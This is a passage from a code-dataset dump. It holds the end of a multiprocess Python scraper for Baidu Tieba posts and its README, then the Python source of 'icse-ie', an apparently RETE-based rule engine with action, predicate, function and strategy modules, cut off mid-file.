.NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR)',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR)',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR)',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US)',\n 'Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)',\n 'Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)',\n 'Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)',\n 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)',\n 'Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1)',\n 'Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; Media Center PC 5.0; .NET CLR 2.0.50727)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 3.0.04506)',\n 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)',\n ]\n\n def get_html(self, url):\n req = urllib.request.Request(url, headers={'User-Agent': random.choice(self.user_agent_list)})\n time.sleep(random.randint(3, 20))\n attempts = 0\n attempts_times = 15\n while attempts < attempts_times:\n try:\n website = urllib.request.urlopen(req, timeout=(25 + random.randint(3, 10)))\n html = website.read().decode('utf-8')\n return html\n except Exception as e:\n attempts = attempts + 1\n if attempts == attempts_times:\n logging.warning('Get html: {0}: {1}'.format(e, url))\n return ''\n\n def load_post_id(self):\n with open(self.post_id_file, 'r') as fr:\n self.post_id = int(fr.read())\n\n def save_post_id(self, numb):\n with open(self.post_id_file, 'w') as fw:\n fw.write(str(numb))\n\n def init_post_id(self):\n with m_lock:\n if not os.path.exists(self.output_dir):\n os.mkdir(self.output_dir)\n if not os.path.exists(self.post_id_file):\n with open(self.post_id_file, 'w') as fw:\n fw.write('5000000000')\n\n self.load_post_id()\n logging.info('导入 {} 到队列'.format(str(self.post_id)))\n for post_count in range(self.post_id, self.post_id + self.queue_put_num):\n self.list_url_queue.append(post_count)\n self.save_post_id(int(self.post_id + self.queue_put_num))\n\n def crawl_post_list(self):\n while True:\n try:\n if not self.list_url_queue:\n self.init_post_id()\n\n post_id = self.list_url_queue.pop(0)\n post_id_prefix = re.findall('^[0-9]{6}', str(post_id))\n output_file_path = self.output_dir + str(post_id_prefix[0]) + '/'\n if not os.path.exists(output_file_path):\n os.makedirs(output_file_path, exist_ok=True)\n post_url = self.seed_url + 'p/' + str(post_id)\n \n except Exception as e:\n logging.critical('取ID问题: {}'.format(e))\n continue\n \n try:\n post_html = self.get_html(post_url)\n if not post_html:\n continue\n post_title = get_title(post_html)\n if post_title == '很抱歉,该贴已被删除。':\n # logging.error('{}: ---贴子被删---'.format(post_url))\n continue\n if post_title == '该吧被合并您所访问的贴子无法显示':\n logging.error('{}: 贴吧被合并无法显示'.format(post_url))\n continue\n if post_title == '抱歉,您访问的贴子被隐藏,暂时无法访问。':\n # logging.error('{}: *****帖子被隐藏*****'.format(post_url))\n continue\n if not post_title:\n logging.error('{}: 找不到title'.format(post_url))\n continue\n first_page_content = get_whole_page_content(post_html)\n if not first_page_content:\n # logging.error('{}: ### 帖子无内容 ###'.format(post_url))\n continue\n\n all_content = first_page_content\n page_num = get_posts_num(post_html)\n\n for i in range(page_num):\n if i != 0:\n page_url = post_url + '?pn=' + str(i + 1)\n other_page = self.get_html(page_url)\n other_content = get_whole_page_content(other_page)\n all_content = all_content + other_content\n\n dr = re.compile(r'/|[\\\\]|[ ]|[|]|[:]|[*]|[<]|[>]|[?]|[\\']|[\"]')\n post_title = dr.sub('_', post_title)\n output_file = output_file_path + str(post_id) + '_' + post_title + '.txt'\n save_content(output_file, all_content)\n logging.info('{0} ---{2}--- {1}'.format(post_id, post_title, str(page_num)))\n\n except Exception as e:\n logging.critical('尚未预料到的错误: {0} | {1}'.format(e, post_url))\n continue\n\n def start(self):\n self.init_post_id()\n processes = []\n for i in range(1, self.process_num):\n t = multiprocessing.Process(target=self.crawl_post_list, args=())\n t.start()\n processes.append(t)\n for t in processes:\n t.join()\n\nif __name__ == '__main__':\n logging.basicConfig(format='%(asctime)s|PID:%(process)d|%(levelname)s: %(message)s',\n level=logging.INFO, filename='./log.txt')\n spider = Spider()\n spider.start()\n" }, { "alpha_fraction": 0.5813953280448914, "alphanum_fraction": 0.7674418687820435, "avg_line_length": 8.333333015441895, "blob_id": "28220332b5c5d88ecd838b33b8b62fad7d3742e9", "content_id": "53475f4450de13abc531c554774631e0aae87d82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 158, "license_type": "no_license", "max_line_length": 37, "num_lines": 9, "path": "/README.md", "repo_name": "Fongim/tieba_spider", "src_encoding": "UTF-8", "text": "# tieba_spider\n\n\n2017/08/22\n优化代码\n\n\n2017/07/21\n一个通过循环帖子ID的多进程抓取贴吧文本的脚本,每个帖子生成单独的txt。\n\n\n" } ]
3
ximarx/icse-ie
https://github.com/ximarx/icse-ie
ac67ea7e12bfa34ebfd9b604164b9db187c42244
7128f3d336cd85458f2fe8ef169a5f9c06984872
6dd06a7cb27155e47ac0bc78a420ad3d4eb34a91
refs/heads/master
2020-04-16T02:57:32.906377
2012-08-26T10:10:10
2012-08-26T10:10:10
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4679911732673645, "alphanum_fraction": 0.4834437072277069, "avg_line_length": 17.5, "blob_id": "5fb0a0d629bcbce4aea52c46846fa20fadf38b45", "content_id": "7e0f51947574b841239fde17bbb3c657e9c386ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 453, "license_type": "no_license", "max_line_length": 43, "num_lines": 24, "path": "/src/icse/functions/Addition.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass Addition(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': '+',\n 'minParams': 2,\n 'handler': Addition.handler\n })\n return sign\n \n @staticmethod\n def handler(*args):\n return sum(args)\n \n " }, { "alpha_fraction": 0.5754824280738831, "alphanum_fraction": 0.586833119392395, "avg_line_length": 27, "blob_id": "acc520a397469369675bc0ffecd1d157d063d109", "content_id": "7b94c4662c402419e1d696bb0ed2300d7caa3f17", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 881, "license_type": "no_license", "max_line_length": 103, "num_lines": 31, "path": "/src/icse/actions/Bind.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 16/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.actions import Action\nfrom icse.Variable import Variable\n\nclass Bind(Action):\n '''\n Stampa una lista di simboli su una device\n '''\n SIGN = 'bind'\n \n def executeImpl(self, vartuple, *args):\n if not isinstance(vartuple, tuple) or not issubclass(vartuple[0], Variable):\n raise TypeError(\"Bind: atteso primo valore Variabile.\\n\\t(bind ?nome-variabile [valori]+)\")\n \n _,varname = vartuple\n args = self._resolve_args(False, True, *args)\n\n # controllo la lunghezza:\n # se len(args) == 1, allora semplicemente salvo il valore\n\n # CONTROLLARE CHE SUCCEDE CON LE TUPLE DI UNA \n if len(args) == 1:\n args = args[0]\n \n #pprint.pprint(*args)\n #raise Exception()\n self._symbols[varname] = args\n \n " }, { "alpha_fraction": 0.4665178656578064, "alphanum_fraction": 0.4821428656578064, "avg_line_length": 17.29166603088379, "blob_id": "125455950300c6f7f4c33e4bce3cace41e78eae5", "content_id": "6373129bf8d58a6469bd44046285ee85526c892b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 448, "license_type": "no_license", "max_line_length": 40, "num_lines": 24, "path": "/src/icse/functions/Float.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 15/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function\n\nclass Float(Function):\n '''\n classdocs\n '''\n @staticmethod\n def sign():\n sign = Function.sign()\n sign.update({\n 'sign': 'float',\n 'minParams': 1,\n 'handler': Float.handler\n })\n return sign\n \n @staticmethod\n def handler(op):\n return float(op)\n \n " }, { "alpha_fraction": 0.6282758712768555, "alphanum_fraction": 0.6296551823616028, "avg_line_length": 28.387754440307617, "blob_id": "e6a7a8261b191ed689739bb89a79e7a040a4c689", "content_id": "0aa644bbf80462f963b444df4ab4615d4bf8e701", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1450, "license_type": "no_license", "max_line_length": 89, "num_lines": 49, "path": "/src/icse/strategies/__init__.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "\n\nclass Strategy(object):\n \n def __init__(self, *args, **kwargs):\n object.__init__(self, *args, **kwargs)\n \n def insert(self, pnode, token, per_salience_list):\n raise NotImplementedError\n \n def resort(self, per_saliance_list):\n raise NotImplementedError\n \n \nclass DepthStrategy(Strategy):\n '''\n Inserisce le nuove attivazioni\n in testa alla coda delle attivazioni\n per la stessa salience\n '''\n \n def insert(self, pnode, token, per_salience_list):\n per_salience_list.insert(0, (pnode, token))\n \n def resort(self, per_saliance_list):\n per_saliance_list.sort(key=lambda x: self._get_max_epoch(x[1]), reverse=True)\n \n def _get_max_epoch(self, token):\n return max([x.get_epoch() for x in token.linearize(False)])\n \n \nclass StrategyManager(object):\n \n _DEFAULT_STRATEGY = None\n _DEFAULT_STRATEGY_CLASS = DepthStrategy\n \n @staticmethod\n def strategy():\n if StrategyManager._DEFAULT_STRATEGY == None:\n StrategyManager._DEFAULT_STRATEGY = StrategyManager._DEFAULT_STRATEGY_CLASS()\n \n return StrategyManager._DEFAULT_STRATEGY\n \n @staticmethod\n def set_default_strategy(strategy):\n assert isinstance(strategy, Strategy)\n StrategyManager._DEFAULT_STRATEGY = strategy\n \n @staticmethod\n def reset_strategy():\n StrategyManager._DEFAULT_STRATEGY = None\n " }, { "alpha_fraction": 0.6006458401679993, "alphanum_fraction": 0.608180820941925, "avg_line_length": 30.586206436157227, "blob_id": "a274fd720c34d71f9d358d322f2075abf341ccc5", "content_id": "80cfefbf0ce8d4d52b8039ee60e0f3dd674f018c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 929, "license_type": "no_license", "max_line_length": 74, "num_lines": 29, "path": "/src/icse/strategies/LexStrategy.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 17/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.strategies import Strategy\n\nclass LexStrategy(Strategy):\n '''\n Precedenza delle attivazioni in base\n all'attualita' dei token utilizzati nell'attivazione\n di regole con lo stesso salience\n '''\n\n def insert(self, pnode, token, per_salience_list):\n sorted_epoch = self._sort_epoch(token.linearize(False))\n \n for index, (_, o_token) in enumerate(per_salience_list):\n if sorted_epoch >= self._sort_epoch(o_token.linearize(False)):\n per_salience_list.insert(index, (pnode, token))\n return\n \n per_salience_list.append((pnode, token))\n \n def _sort_epoch(self, list_of_wme):\n return sorted(list_of_wme, key=lambda x:x.get_epoch())\n \n def resort(self, per_saliance_list):\n per_saliance_list.sort(key=lambda x: self._sort_epoch(x[1]) )\n \n " }, { "alpha_fraction": 0.5028834939002991, "alphanum_fraction": 0.5167243480682373, "avg_line_length": 23.558822631835938, "blob_id": "1887777c22429a46a9705c422f3df4e914031558", "content_id": "d7197c3a6fc2a771caad904274b9b542967e5268", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 867, "license_type": "no_license", "max_line_length": 72, "num_lines": 34, "path": "/src/icse/predicates/GreaterThan.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.Predicate import PositivePredicate, NumberPredicate\n\nclass GreaterThan(PositivePredicate, NumberPredicate):\n '''\n Predicato di maggiore-uguale-di:\n controlla se un valore e' uguale a tutti gli altri forniti\n '''\n \n SIGN = '>'\n \n @staticmethod\n def compare(*args):\n '''\n Restituisce (value1 > tutti gli altri)\n @param value1: numerico\n @param valueN..: numerico \n @return: boolean\n '''\n try:\n values = NumberPredicate.cast_numbers(*args)\n value1 = values[0]\n for valueN in values[1:]:\n if value1 <= valueN:\n return False\n \n return True\n \n except:\n return False\n \n \n\n \n " }, { "alpha_fraction": 0.49908730387687683, "alphanum_fraction": 0.5015569925308228, "avg_line_length": 31.449478149414062, "blob_id": "ad79451ab9aacb03e797859f55aedc26fb23d601", "content_id": "7797502bc2220110f1748904b2f2640f7170c226", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9313, "license_type": "no_license", "max_line_length": 92, "num_lines": 287, "path": "/src/icse/actions/__init__.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "from icse.predicates.Eq import Eq\n\n\n\nclass Proxy(object):\n '''\n Esegue una redirect della parte operativa degli \n operandi \"Predicati\" verso l'implementazione reale\n '''\n\n '''\n il formato di predicati una volta riempito:\n 'nomepredicato1': {\n 'handler': ref a un callable,\n 'minParams: numero di parametri minimo\n },\n 'nomepredicato2': ...\n '''\n _actions = {}\n\n _initied = False\n\n @staticmethod\n def get(nome):\n '''\n Restituisce una azione presente nel dizionario\n di azioni oppure lancia una eccezione se:\n - il tipo o il numero di argomenti\n attesi e' diverso dal richiesto\n - non c'e' una predicato con il nome richiesto\n nel dizionario di funzioni (che viene\n inizializzato all'importazione del package\n '''\n if not Proxy._actions.has_key(nome):\n raise ActionNotFoundError(\"L'azione richiesta non e' definita: \"+str(nome))\n \n func = Proxy._actions[nome]\n \n return func['cls']\n \n \n @staticmethod\n def define(funcName, handler, cls):\n if Proxy._actions.has_key(funcName):\n raise DuplicateActionError(\"azione gia definita: \"+funcName)\n \n Proxy._actions[funcName] = {\n 'handler' : handler,\n 'cls' : cls\n }\n \n @staticmethod\n def initied():\n return Proxy._initied\n \n @staticmethod\n def set_initied():\n Proxy._initied = True\n \n @staticmethod\n def get_actions():\n return Proxy._actions\n \nclass ProxyError(Exception):\n '''\n Eccezione base lanciata dal Proxy\n '''\n pass\n \nclass DuplicateActionError(ProxyError):\n '''\n Lanciata durante il tentativo di ridefinire\n una predicato gia definita\n '''\n pass\n\nclass InvalidHandlerError(ProxyError):\n '''\n Lanciata quando l'handler fornito non e' valido\n '''\n pass\n\nclass ActionNotFoundError(ProxyError):\n '''\n Lanciata se viene richiesta una predicato non\n presente nel dizionario\n '''\n pass\n \nclass InvalidSignError(ProxyError):\n '''\n Lanciata quando il numero minimo\n di parametri richiesto della predicato\n non e' rispettato\n '''\n pass\n\n \n\n\nclass Action(object):\n\n import sys\n _DEVICES = {\n 't': sys.stdout,\n 'err': sys.stderr\n }\n \n SIGN = None\n\n def __init__(self, symbols, devices, reteNetwork, \n assertFunc=lambda fact:(None,None,False),\n retractFunc=lambda wme:None,\n addProductionFunc=lambda production:None,\n removeProductionFunc=lambda pnode:None\n ):\n '''\n Constructor\n '''\n self._symbols = symbols\n self._devices = devices\n self._reteNetwork = reteNetwork\n self._assert = assertFunc\n self._retract = retractFunc\n self._addProduction = addProductionFunc\n self._removeProduction = removeProductionFunc\n \n def assertFact(self, fact):\n self._assert(fact)\n \n def retractFact(self, fact):\n self._retract(fact)\n \n def addProduction(self, production):\n self._addProduction(production)\n \n def removeProduction(self, pnode):\n self._removeProduction(pnode)\n \n def getReteNetwork(self):\n '''@return: ReteNetwork'''\n return self._reteNetwork\n \n def executeImpl(self, *args):\n #esegue realmente l'azione\n pass\n \n @classmethod\n def execute(cls, args, variables, reteNetwork,\n assertFunc=lambda fact:(None,None,False),\n retractFunc=lambda wme:None,\n addProductionFunc=lambda production:None,\n removeProductionFunc=lambda pnode:None\n ):\n # sostituisce tutte le variabili\n # all'interno degli argomenti\n # della chiamata ad azione\n \n # instanza una nuovo oggetto del tipo\n # azione desiderata, fornendo al costruttore:\n # - il dizionario dei simboli risolti (quindi gia avvalorati)\n # [sara' possibile modificarlo dall'interno della\n # classe per fare in modo di rendere possibile\n # il binding di nuove variabili all'interno delle classi]\n # - il dizionario dei dispositivi disponibili\n instance = cls(variables, Action._DEVICES, reteNetwork,\n assertFunc=assertFunc,\n retractFunc=retractFunc,\n addProductionFunc=addProductionFunc,\n removeProductionFunc=removeProductionFunc\n )\n return getattr(instance, cls.sign()['handler'])(*args)\n \n @classmethod\n def sign(cls):\n return {\n 'sign': cls.SIGN,\n 'handler': \"executeImpl\",\n 'cls': cls\n } \n\n def _resolve_args(self, unquote=False, recursive=True, *args):\n from icse.Variable import Variable\n from icse.Function import Function\n filtered = []\n for arg in list(args):\n if isinstance(arg, tuple):\n if issubclass(arg[0], Variable):\n # trasformo la variabile\n # nel suo valore trovato\n # attingendo dal dizionario\n # dei simboli\n filtered.append(self._symbols[arg[1]])\n elif issubclass(arg[0], Action):\n # abbiamo una azione in una azione\n # dobbiamo eseguirla ed inserire il valore\n # di ritorno come parametro\n # della funzione\n actClass = arg[0]\n returned = actClass.execute(arg[1], self._symbols, self._reteNetwork,\n assertFunc=self._assert,\n retractFunc=self._retract,\n addProductionFunc=self._addProduction,\n removeProductionFunc=self._removeProduction\n )\n filtered.append(returned)\n \n elif issubclass(arg[0], Function):\n func_class = arg[0]\n parametri = arg[1]\n # risolvo i parametri interni della funzione\n parametri = self._resolve_args(True, True, *parametri)\n filtered.append(func_class.get_function().sign()['handler'](*parametri))\n \n elif issubclass(arg[0], Eq):\n filtered.append(arg[1])\n \n # TODO\n # potremmo inserire il processo delle funzioni\n # e dei condizionarli!!!\n elif isinstance(arg, (str, unicode)) and unquote and arg[0] == '\"':\n # rimuovo i quote\n filtered.append(arg[1:-1])\n elif isinstance(arg, list) and recursive:\n # ripeto l'operazione per tutti gli elementi del vettore\n filtered.append(self._resolve_args(unquote, recursive, *arg))\n else:\n # se e' un normale valore semplicemente\n # lo aggiungo\n filtered.append(arg) \n \n return filtered\n\nif not Proxy.initied():\n#if False:\n \n# funzioni = [\n# '.Somma',\n# '.Prodotto',\n# '.Sottrazione',\n# '.Divisione',\n# '.Potenza',\n# '.Radice',\n# '.Attributo'\n# ]\n\n import os\n from genericpath import isfile\n \n FUNCS_DIR = os.path.dirname(__file__)\n \n funzioni = ['.'+x[0:-3] for x in os.listdir(FUNCS_DIR) if isfile(FUNCS_DIR + \"/\" +x) \\\n and x[-3:] == '.py' \\\n and x[0] != '_']\n \n \n for modulo in funzioni:\n if modulo.startswith(\".\"):\n classe = modulo[1:]\n modulo = \"icse.actions\"+modulo\n else:\n lastdot = modulo.rfind('.')\n classe = modulo[lastdot+1:]\n modulo = modulo[0:lastdot]\n \n #print \"Modulo: \",modulo\n #print \"Classe: \",classe\n \n try:\n imported = __import__(modulo, globals(), locals(), [classe], -1)\n attr = getattr(imported, classe)\n \n #print \"Canonical: \",attr\n \n if issubclass(attr, Action):\n sign = attr.sign()\n if isinstance(sign, dict) \\\n and sign.has_key('sign') \\\n and sign['sign'] != None:\n \n Proxy.define(sign['sign'], sign['handler'], sign['cls'])\n except Exception, e:\n # ignora l'elemento che inoltra errori\n #raise\n pass\n \n Proxy.set_initied()\n" }, { "alpha_fraction": 0.5370036363601685, "alphanum_fraction": 0.5433213114738464, "avg_line_length": 27.30769157409668, "blob_id": "a1f7ce1a695813cd3c85a240a9358b44ca3fd2d6", "content_id": "5dfc1ed085a31922f3ef6738b4c21a12418dd15f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1108, "license_type": "no_license", "max_line_length": 72, "num_lines": 39, "path": "/src/icse/Function.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.functions import Function as FuncLogicBase\n\nclass Function(object):\n '''\n Indica una variabile\n '''\n\n _function = None\n _function_variance = {}\n\n \n @staticmethod\n def withFunction(p):\n '''\n Costruisce a runtime una nuova sottoclasse di \n variable che matcha con un predicato differente\n (e memorizza, in modo da riutilizzarlo per\n altre richieste con lo stesso predicato)\n '''\n assert issubclass(p, FuncLogicBase)\n \n newclassname = \"Function_dynamic_\"+p.__name__.split('.')[-1]\n \n if not Function._function_variance.has_key(newclassname):\n newclass = type(newclassname, (Function,), {\n '_function' : p,\n })\n Function._function_variance[newclassname] = newclass\n \n return Function._function_variance[newclassname]\n \n @classmethod\n def get_function(cls):\n return cls._function\n " }, { "alpha_fraction": 0.5272727012634277, "alphanum_fraction": 0.543181836605072, "avg_line_length": 25.393939971923828, "blob_id": "520bf6783b3aa6832517cba3cbe2a084ecd8d24e", "content_id": "e88b523972a02a92a4ff666b06d143ba3b4cadc6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 880, "license_type": "no_license", "max_line_length": 73, "num_lines": 33, "path": "/src/icse/predicates/NumberNotEq.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\nfrom icse.predicates.Predicate import NegativePredicate\n\nclass NumberNotEq(NegativePredicate):\n '''\n Predicato di disuguaglianza:\n controlla se un valore e' diverso da tutti gli altri (almeno uno)\n '''\n \n SIGN = '<>'\n \n @staticmethod\n def compare(*args):\n '''\n Restituisce (value1 != tutti gli altri)\n @param value1: simbolo\n @param value2: simbolo \n @return: boolean\n '''\n value1 = args[0]\n if not isinstance(value1, (int, float)): return False\n for altro in list(args[1:]):\n # fallisce se un elemento non e' un numero\n # o se e' uguale dal primo\n if not isinstance(altro, (int, float)) \\\n or value1 == altro:\n return False\n \n return True \n " }, { "alpha_fraction": 0.593123197555542, "alphanum_fraction": 0.5935052633285522, "avg_line_length": 36.661869049072266, "blob_id": "eb9e97fb205398cc1e74fa05986794e52c028d23", "content_id": "5947ce48b77611217ec36c1a7a958084ae5def93", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5235, "license_type": "no_license", "max_line_length": 101, "num_lines": 139, "path": "/src/icse/rete/__init__.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "from icse.predicates.Eq import Eq\nfrom icse.predicates.Predicate import NccPredicate, PositivePredicate,\\\n NegativePredicate, TestPredicate\nfrom icse.rete.Nodes import BetaMemory, AlphaMemory, JoinNode, NegativeNode,\\\n NccNode, FilterNode\nfrom icse.rete.JoinTest import JoinTest\nfrom icse.rete.FilterTest import FilterTest\n\n\ndef network_factory(alpha_root, parent, conditions, earlier_conditions = None, builtins = None):\n '''\n Crea una sottorete di nodi (appropriati)\n in base alle nuove condizioni (e alle precedenti)\n e le inserisce nella rete. Inoltre, restituisce\n l'ultimo nodo della sottorete\n @return: ReteNode\n '''\n \n # movimento di bacino per evitare che il default\n # sia condiviso fra successive chiamate :)\n if earlier_conditions == None:\n earlier_conditions = []\n \n # lo uso per memorizzare la presenza di variabili\n # gia parsate\n if not isinstance(builtins, dict):\n \n # builtins conterra' un dizionario indicizzato\n # dei risconti di variabile al quale corrispondera'\n # ad ogni variabile\n # una lista di posizioni in cui la variabile\n # e' stata trovata\n # [(cond_index, field_index), (cond_index, field_index)...] \n builtins = {}\n \n assert isinstance(conditions, list), \\\n \"conditions non e' una list\"\n\n assert isinstance(earlier_conditions, list), \\\n \"conditions non e' una list\"\n\n # probabilmente dovro super classare\n # AlphaNode e ReteNode con Node\n #assert isinstance(parent, ReteNode), \\\n # \"parent non e' un ReteNode\"\n \n # se il padre e' constant-test-node\n # devo scomporre o condividere le condizioni sui test\n # fino ad arrivare ad una alpha-memory\n # alla quale \n \n \n # quello che ci arriva dalla lhs\n '''\n [\n (PositivePredicate, [(Eq, \"sym\"), (Eq, \"p\"), (Variable, \"b\") ]),\n (PositivePredicate, [(Eq, \"sym\"), (Eq, \"c\"), (Variable, \"b\") ]),\n (NegativePredicate, [(Eq, \"sym\"), (Eq, \"a\"), (Not, (Variable, \"b\"))]),\n (NccPredicate, [\n [(Eq, \"sym\"), (Eq, \"l\"), (Not, (Variable, \"b\"))],\n [(Eq, \"sym\"), (Eq, \"l\"), (Not, (Variable, \"b\"))],\n ),\n ]\n '''\n\n current_node = parent\n \n # ciclo per ogni condizione separatamente\n for cond_index, cc in enumerate(conditions):\n \n # il terzo campo viene usano\n # per memorizzare il nome della variabile\n # per le assigned_pattern_CE\n # per adesso le ignoro\n if len(cc) == 2:\n c_type, c = cc\n elif len(cc) == 3:\n c_type, c, var_binding = cc\n builtins[var_binding] = (cond_index, None)\n \n if issubclass(c_type, PositivePredicate):\n # siamo in una condizione positiva\n \n current_node = BetaMemory.factory(current_node)\n tests = JoinTest.build_tests(c, earlier_conditions, builtins)\n amem = AlphaMemory.factory(c, alpha_root)\n current_node = JoinNode.factory(current_node, amem, tests)\n \n elif issubclass(c_type, TestPredicate):\n \n current_node = BetaMemory.factory(current_node)\n tests = FilterTest.build_tests(c, earlier_conditions, builtins, c_type.get_predicate())\n current_node = FilterNode.factory(current_node, tests)\n \n elif issubclass(c_type, NegativePredicate):\n # siamo in una negazione semplice\n # cioe la negazione di una sola condizione\n \n # se questa e' la prima condizione della regola\n # devo provvedere a linkare il dummy-negative-node\n # a sinsitra con un dummy-join-node collegato a sua volta con il root-node\n # perche ogni WME sia ingresso da sinistra\n if current_node == None:\n # il negative e' primo in sequenza\n djn_amem = AlphaMemory.factory([], alpha_root)\n current_node = JoinNode.factory(None, djn_amem, [])\n \n tests = JoinTest.build_tests(c, earlier_conditions, builtins)\n amem = AlphaMemory.factory(c, alpha_root)\n current_node = NegativeNode.factory(current_node, amem, tests)\n \n elif issubclass(c_type, NccPredicate):\n # siamo in una ncc\n # cioe la negazione di un insieme di condizioni\n\n # se questa e' la prima condizione della regola\n # devo provvedere a linkare il ncc node\n # a sinsitra con un dummy-join-node collegato a sua volta con il root-node\n # perche ogni WME sia ingresso da sinistra\n if current_node == None:\n # il negative e' primo in sequenza\n djn_amem = AlphaMemory.factory([], alpha_root)\n current_node = JoinNode.factory(None, djn_amem, [])\n\n current_node = NccNode.factory(current_node, c, earlier_conditions, builtins, alpha_root)\n \n else:\n print \"Regola non riconosciuta\"\n print \n \n earlier_conditions.append(c)\n \n return current_node\n \n \n \n \nclass SimboloNonTrovatoError(Exception):\n pass\n" }, { "alpha_fraction": 0.4941445291042328, "alphanum_fraction": 0.49900028109550476, "avg_line_length": 38.2471923828125, "blob_id": "c5ff6819f3ad89afd4cd91d5b686951f78aef11e", "content_id": "9000ba92f13b6b4036254e82d12db89f9e5956f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3501, "license_type": "no_license", "max_line_length": 113, "num_lines": 89, "path": "/src/icse/Production.py", "repo_name": "ximarx/icse-ie", "src_encoding": "UTF-8", "text": "'''\nCreated on 10/mag/2012\n\n@author: Francesco Capozzo\n'''\n\nclass Production(object):\n '''\n Una produzione (o meglio una regola) in un sistema di produzione:\n la parte sinistra (lhs) contiene la lista di condizioni da valutare\n e verificare affinche la parte destra (rhs), che rappresenta una serie\n di azioni, possa essere eseguita\n '''\n\n\n def __init__(self, name, lhs, rhs, properties=None, description=None):\n '''\n Constructor\n '''\n self.__name = str(name)\n self.__rhs = rhs\n self.__lhs = lhs\n if properties == None:\n properties = {'salience':0}\n self.__properties = properties\n self.__description = str(description)\n \n if not properties.has_key('specificity'):\n properties['specificity'] = self._calcolate_specificity(lhs)\n \n def get_name(self):\n return self.__name\n \n def get_rhs(self):\n return self.__rhs\n \n def get_lhs(self):\n return self.__lhs\n \n def get_properties(self):\n return self.__properties\n \n def _calcolate_specificity(self, lhs):\n from icse.predicates.Predicate import PositivePredicate, NegativePredicate, NccPredicate, TestPredicate \n from icse.predicates.Eq import Eq\n from icse.predicates.NotEq import NotEq\n from icse.Variable import Variable\n from icse.Function import Function\n \n specificity = 0\n for lhs_item in lhs:\n if len(lhs_item) == 2:\n predicate, args = lhs_item\n else:\n predicate, args, _ = lhs_item\n if issubclass(predicate, (PositivePredicate, NegativePredicate, TestPredicate)):\n for (arg_type, arg_value) in args:\n if issubclass(arg_type, (Eq, 